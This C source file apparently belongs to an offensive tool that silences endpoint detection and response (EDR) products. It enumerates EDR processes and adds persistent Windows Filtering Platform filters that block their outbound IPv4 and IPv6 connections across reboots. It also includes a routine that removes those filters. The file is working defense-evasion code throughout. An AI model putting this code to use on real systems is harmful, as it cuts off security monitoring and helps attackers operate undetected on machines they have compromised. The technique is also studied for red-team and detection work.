WindowsFilteringPlatform/wfp.c
# include "common.h"

// Custom implementation of FwpmGetAppIdFromFileName
BOOL CustomFwpmGetAppIdFromFileName0(IN PCWSTR pwszNtPath, OUT FWP_BYTE_BLOB** ppAppId) {
    
    BOOL    bSTATE              = TRUE;
    DWORD   dwFileAttributes    = 0; // Used to validate file existence
    SIZE_T  stPathSize          = 0; // Size of NT path in bytes
    HANDLE  hHeap               = NULL;

    // Check if the input path is empty
    if (!pwszNtPath) {
        bSTATE = FALSE;
        goto _cleanUp;
    }
    
    // Get handle to process heap
    hHeap = GetProcessHeap();

    // Allocate memory for FWP_BYTE_BLOB
    *ppAppId = (FWP_BYTE_BLOB*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(FWP_BYTE_BLOB));
    if (!*ppAppId) {
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Calculate byte size for null-terminated string
    stPathSize = (wcslen(pwszNtPath) + 1) * sizeof(WCHAR);
    (*ppAppId)->size = (UINT32)stPathSize;

    // Allocate memory with the size of path to store the native path string as FWP_BYTE_BLOB
    (*ppAppId)->data = (UINT8*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, stPathSize);
    if (!(*ppAppId)->data) {
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Copy the string
    memcpy((*ppAppId)->data, pwszNtPath, stPathSize);

_cleanUp:
    if (bSTATE == FALSE) {
        if (*ppAppId) {
            if ((*ppAppId)->data) {
                HeapFree(hHeap, 0, (*ppAppId)->data);
            }
            HeapFree(hHeap, 0, *ppAppId);
            *ppAppId = NULL;
        }
    }

    return bSTATE;
}

// Retrieves provider GUID by description
BOOL FindProviderGUIDByDesc(IN HANDLE hWFPSession, IN PCWSTR pwszProviderDesc, OUT GUID* pProviderGUID) {

    BOOL                bSTATE          = TRUE;     // Return state
    DWORD               dwStatus        = 0;        // Stores the status of the win32 WFP calls
    HANDLE              hWFPEnum        = NULL;     // Handle to the WFP enum
    FWPM_PROVIDER0**    pppProviderList = NULL;     // Pointer to an array of FWPM_PROVIDER0 pointers
    UINT32              uProviderCount  = 0;        // Number of providers returned
    BOOL                bFoundMatch     = FALSE;    // Indicates if a matching provider was found

    // Create enumeration handle to enumerate providers
    // https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fwpmk/nf-fwpmk-fwpmprovidercreateenumhandle0
    dwStatus = FwpmProviderCreateEnumHandle0(
        hWFPSession,        // Handle to session
        NULL,               // Optional can be NULL
        &hWFPEnum           // Out, handle to enum session
    );
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmProviderCreateEnumHandle0 - Unable to open WFP Enum Handle (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("FwpmProviderCreateEnumHandle0 - Opened handle to WFP enum 0x%p", hWFPEnum);

    // Retrieve the list of providers
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmproviderenum0
    dwStatus = FwpmProviderEnum0(
        hWFPSession,        // Handle to session
        hWFPEnum,           // Handle to enum session
        100,                // Number of provider entries to request
        &pppProviderList,   // Addresses of the enumeration entries
        &uProviderCount     // number of provider objects returned.
    );
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmProviderEnum0 - Unable to enumerate providers (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("FwpmProviderEnum0 - Enumerated %u objects", uProviderCount);

    // Check for matching provider description
    for (UINT32 idx = 0; idx < uProviderCount; idx++) {
        if (pppProviderList[idx]->displayData.description != NULL) {
            if (wcscmp(pppProviderList[idx]->displayData.description, pwszProviderDesc) == 0) {
                *pProviderGUID = pppProviderList[idx]->providerKey;
                bFoundMatch = TRUE;
                break;
            }
        }
    }

    if (bFoundMatch == FALSE) {
        infoW_t("FindProviderGUIDByDesc - No provider with description \"%ls\" found", pwszProviderDesc);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    infoW_t("FindProviderGUIDByDesc - Provider with description \"%ls\" found", pwszProviderDesc);

_cleanUp:

    // Remove memory from FwpmProviderEnum0
    if (pppProviderList) {
        // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfreememory0
        FwpmFreeMemory0((void**)&pppProviderList);
    }

    // Close handle to enum
    if (hWFPEnum) {
        // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmproviderdestroyenumhandle0
        FwpmProviderDestroyEnumHandle0(hWFPSession, hWFPEnum);
    }

    return bSTATE;

}

// Blocks traffic of specified fullpath
BOOL BlockTraffic(IN LPWSTR pwszName, IN LPWSTR pwszFullPath) {

    BOOL            bSTATE          = TRUE;
    DWORD           dwStatus        = 0;        // Stores the status of the win32 WFP calls
    HANDLE          hWFPSession     = NULL;     // Handle to the WFP Engine session
    HANDLE          hProcessHeap    = NULL;     // Handle to process heap

    // Initialize variables for the WFP
    FWPM_FILTER_CONDITION0  filterCondition                 = { 0 };                        // Describes a single condition in the filter (e.g., match AppId)
    FWPM_FILTER0            filterDetails                   = { 0 };                        // Main filter structure passed to FwpmFilterAdd0
    FWPM_PROVIDER0          filterProvider                  = { 0 };                        // Optional provider info for the filter (can help with grouping)
    GUID                    providerGuid                    = { 0 };                        // Unique identifier for the filter provider
    FWP_BYTE_BLOB*          appIdBlob                       = NULL;                         // Holds the AppId (native path as binary blob) for filtering
    UINT64                  filterId                        = 0;                            // Stores the filter ID returned by FwpmFilterAdd0
    LPWSTR                  pwszUniqueProviderDescription   = UNIQUE_PROVIDER_DESCRIPTION;
    LPWSTR                  pwszFilterProviderName          = FILTER_PROVIDER_NAME;

    // Get handle to process heap
    hProcessHeap = GetProcessHeap();

    // Initialize session with WFP engine
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmengineopen0
    dwStatus = FwpmEngineOpen0(
        NULL,                   // Value must be NULL
        RPC_C_AUTHN_DEFAULT,    // Authentication service to use
        NULL,                   // Use the calling threads credentials
        NULL,                   // Optional can be NULL
        &hWFPSession            // Out handle to the WFP engine session
    );
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmEngineOpen0 - Unable to open WFP session (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("FwpmEngineOpen0 - Opened handle to WFP engine 0x%p", hWFPSession);

    // Retrieve application identifier
    if (!CustomFwpmGetAppIdFromFileName0(pwszFullPath, &appIdBlob)) {
        error("CustomFwpmGetAppIdFromFileName0 - Failed to retrieve application identifier");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set up WFP filter configurations
    filterDetails.displayData.name = CUSTOM_FILTER_NAME;           // Set the custom filter name (shown in UI/tools)
    filterDetails.displayData.description = CUSTOM_FILTER_DESCRIPTION;    // Set the custom filter description
    filterDetails.flags = FWPM_FILTER_FLAG_PERSISTENT;  // Makes the filter persistent across reboots
    filterDetails.action.type = FWP_ACTION_BLOCK;             // Set the filter action to BLOCK matching traffic
    filterCondition.fieldKey = FWPM_CONDITION_ALE_APP_ID;    // Filter condition field: match on application ID (AppId)
    filterCondition.matchType = FWP_MATCH_EQUAL;              // Match when AppId is equal to specified blob
    filterCondition.conditionValue.type = FWP_BYTE_BLOB_TYPE;           // Type of the condition value is a binary blob
    filterCondition.conditionValue.byteBlob = appIdBlob;                    // Provide the AppId blob to block
    filterDetails.filterCondition = &filterCondition;             // Assign filter condition to the filter
    filterDetails.numFilterConditions = 1;                            // Number of conditions used in the filter

    // Check if provider already exists otherwise create it
    if (FindProviderGUIDByDesc(hWFPSession, pwszUniqueProviderDescription, &providerGuid)) {
        filterDetails.providerKey = &providerGuid;
    }
    else {
        filterProvider.displayData.name = pwszFilterProviderName;           // Set the provider name
        filterProvider.displayData.description = pwszUniqueProviderDescription;    // Set the provider description
        filterProvider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;    // Make the provider persistent across reboots

        // Add new provider to the system
        // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmprovideradd0
        dwStatus = FwpmProviderAdd0(
            hWFPSession,        // Handle to WFP engine session
            &filterProvider,    // Pointer to filter object
            NULL                // Optional can be null
        );
        if (dwStatus != ERROR_SUCCESS) {
            error("FwpmProviderAdd0 - Unable to add provider (errorcode: 0x%x)", dwStatus);
            bSTATE = FALSE;
            goto _cleanUp;
        }
        infoW_t("FwpmProviderAdd0 - Added provider with name \"%ls\"", pwszUniqueProviderDescription);

        // Get GUID of the created filter
        if (FindProviderGUIDByDesc(hWFPSession, pwszUniqueProviderDescription, &providerGuid)) {
            filterDetails.providerKey = &providerGuid;
        }
        else {
            error("FindProviderGUIDByDesc - Failed to locate provider after creation");
            bSTATE = FALSE;
            goto _cleanUp;
        }
    }

    // Apply the filter to IPv4
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilteradd0
    filterDetails.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;   // Set IPV4
    filterId = 0;                                // Clear filter id

    dwStatus = FwpmFilterAdd0(hWFPSession, &filterDetails, NULL, &filterId);
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmFilterAdd0 - Failed to add IPV4 filter (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    infoW_t("FwpmFilterAdd0 - Added IPV4 filter for \"%ls\" with ID %llu", pwszName, filterId);

    // Apply the filter to IPv6
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilteradd0
    filterDetails.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;   // Set IPV6
    filterId = 0;                                // Clear filter id

    dwStatus = FwpmFilterAdd0(hWFPSession, &filterDetails, NULL, &filterId);
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmFilterAdd0 - Failed to add IPV6 filter (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    infoW_t("FwpmFilterAdd0 - Added IPV6 filter for \"%ls\" with ID %llu", pwszName, filterId);

_cleanUp:

    // Clean the appIdBlob struct
    if (appIdBlob) {
        if (appIdBlob->data) {
            HeapFree(hProcessHeap, 0, appIdBlob->data); // Free the internal buffer first
        }
        HeapFree(hProcessHeap, 0, appIdBlob);           // Then free the struct itself
        appIdBlob = NULL;
    }

    // Close sessions to WFP engine
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmengineclose0
    if (hWFPSession) {
        dwStatus = FwpmEngineClose0(hWFPSession);
    }

    return bSTATE;

}

// Block network traffic for known EDR processes by adding Windows Filtering Platform filters
BOOL BlockEDRTraffic() {

    BOOL            bSTATE                  = TRUE;     // Return state
    HANDLE          hProcessHeap            = NULL;     // Handle to process heap
    PPROCESS_ENTRY  pProcList               = NULL;     // Stores pointer to the custom process list struct
    DWORD           dwProcCount             = 0;        // Stores the amount of processes

    // Enumerate all the EDR processes
    if (!EnumerateEDRProcesses(&pProcList, &dwProcCount)) {
        error("EnumerateEDRProcesses - Failed to enumerate running processes");
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("EnumerateEDRProcesses - %i EDR processes enumerated", dwProcCount);

    // Print EDR Process info
    for (DWORD i = 0; i < dwProcCount; i++) {
        infoW_t("\tMatched EDR process: \"%ls\" with PID %d and full path \"%ls\"", pProcList[i].pwszName, pProcList[i].dwPid, pProcList[i].pwszPath);
    }

    // Get handle to process heap
    hProcessHeap = GetProcessHeap();

    info("BlockTraffic - Looping through EDR processes and creating Windows Filtering Platform filters");

    for (DWORD i = 0; i < dwProcCount; i++) {   
        BlockTraffic(pProcList[i].pwszName, pProcList[i].pwszPath);
    }

_cleanUp:

    // Free the EDR process list entries
    if (pProcList) {
        for (DWORD i = 0; i < dwProcCount; i++) {
            if (pProcList[i].pwszName) {
                HeapFree(hProcessHeap, 0, pProcList[i].pwszName); // Free process name
                pProcList[i].pwszName = NULL;
            }
            if (pProcList[i].pwszPath) {
                HeapFree(hProcessHeap, 0, pProcList[i].pwszPath); // Free full process path
                pProcList[i].pwszPath = NULL;
            }
        }
        HeapFree(hProcessHeap, 0, pProcList); // Free the process list itself
        pProcList = NULL;
    }

    return bSTATE;

}

// Delete the created filters by this tool
BOOL UnblockTraffic() {

    BOOL                bSTATE              = TRUE;     // Return state
    DWORD               dwStatus            = 0;        // Stores the status of the win32 WFP calls
    HANDLE              hWFPSession         = NULL;     // Handle to the WFP Engine session
    HANDLE              hFilterEnum         = NULL;     // Handle to the WFP Enum filters
    FWPM_FILTER0**      ppFilterList        = NULL;     // Pointer to pointer of FWPM_FILTER0
    UINT32              uFilterCount        = 0;        // Count of filters
    BOOL                bFilterFound        = FALSE;    // Turns true if filter is found

    // Initialize session with WFP engine
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmengineopen0
    dwStatus = FwpmEngineOpen0(
        NULL,                   // Value must be NULL
        RPC_C_AUTHN_DEFAULT,    // Authentication service to use
        NULL,                   // Use the calling threads credentials
        NULL,                   // Optional can be NULL
        &hWFPSession            // Out handle to the WFP engine session
    );
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmEngineOpen0 - Unable to open WFP session (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("FwpmEngineOpen0 - Opened handle to WFP engine 0x%p", hWFPSession);

    // Create handle to enumerate filters
    dwStatus = FwpmFilterCreateEnumHandle0(
        hWFPSession,            // Handle to WFP engine session
        NULL,                   // Optional can be null
        &hFilterEnum            // Out handle to the WFP Enum filters
    );
    if (dwStatus != ERROR_SUCCESS) {
        error("FwpmFilterCreateEnumHandle0 - Unable to open handle to enumerate filters (errorcode: 0x%x)", dwStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("FwpmFilterCreateEnumHandle0 - Opened handle to enumerate filters 0x%p", hFilterEnum);

    // Loop through all WFP filters and delete the matching custom one
    while (TRUE) {

        // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilterenum0
        dwStatus = FwpmFilterEnum0(
            hWFPSession,          // Handle to WFP engine session
            hFilterEnum,          // Handle to the WFP Enum filters
            1,                    // Request one filter at a time
            &ppFilterList,        // Out: pointer to list
            &uFilterCount         // Out: count of filters returned
        );
        if (dwStatus != ERROR_SUCCESS) {
            error("FwpmFilterEnum0 - Failed to enumerate filters (errorcode: 0x%x)", dwStatus);
            bSTATE = FALSE;
            goto _cleanUp;
        }

        // Enumeration complete
        if (uFilterCount == 0) {
            break;
        }

        // Access the filter display info
        FWPM_DISPLAY_DATA0*     pDisplayData    = &ppFilterList[0]->displayData;
        LPWSTR                  pwszFilterName  = pDisplayData->name;

        // Check if the name matches
        if (wcscmp(pwszFilterName, CUSTOM_FILTER_NAME) == 0) {
            bFilterFound        = TRUE;

            // Retrieve the filter ID
            UINT64 uFilterId    = ppFilterList[0]->filterId;

            // Delete the filter
            // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilterdeletebyid0
            dwStatus = FwpmFilterDeleteById0(
                hWFPSession,    // Handle to WFP engine session
                uFilterId       // Filter ID
            );
            if (dwStatus == ERROR_SUCCESS) {
                infoW_t("FwpmFilterDeleteById0 - Deleted filter \"%ls\" with ID %llu", pwszFilterName, uFilterId);
            }
            else {
                error("FwpmFilterDeleteById0 - Failed to delete filter ID %llu (errorcode: 0x%x)", uFilterId, dwStatus);
            }

            // Free the filter list memory for this iteration
            if (ppFilterList) {
                FwpmFreeMemory0((void**)&ppFilterList);
                ppFilterList = NULL;
            }
        }
    }

    if (!bFilterFound) {
        infoW_t("UnblockTraffic - No matching filters with name \"%ls\" were found", CUSTOM_FILTER_NAME);
    }


_cleanUp:

    // Close the enum handle
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilterdestroyenumhandle0
    if (hFilterEnum) {
        FwpmFilterDestroyEnumHandle0(hWFPSession, hFilterEnum);
    }

    // Close sessions to WFP engine
    // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmengineclose0
    if (hWFPSession) {
        dwStatus = FwpmEngineClose0(hWFPSession);
    }

    // Free the filter list memory
    if (ppFilterList) {
        // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfreememory0
        FwpmFreeMemory0((void**)&ppFilterList);
        ppFilterList = NULL;
    }

    return bSTATE;
}

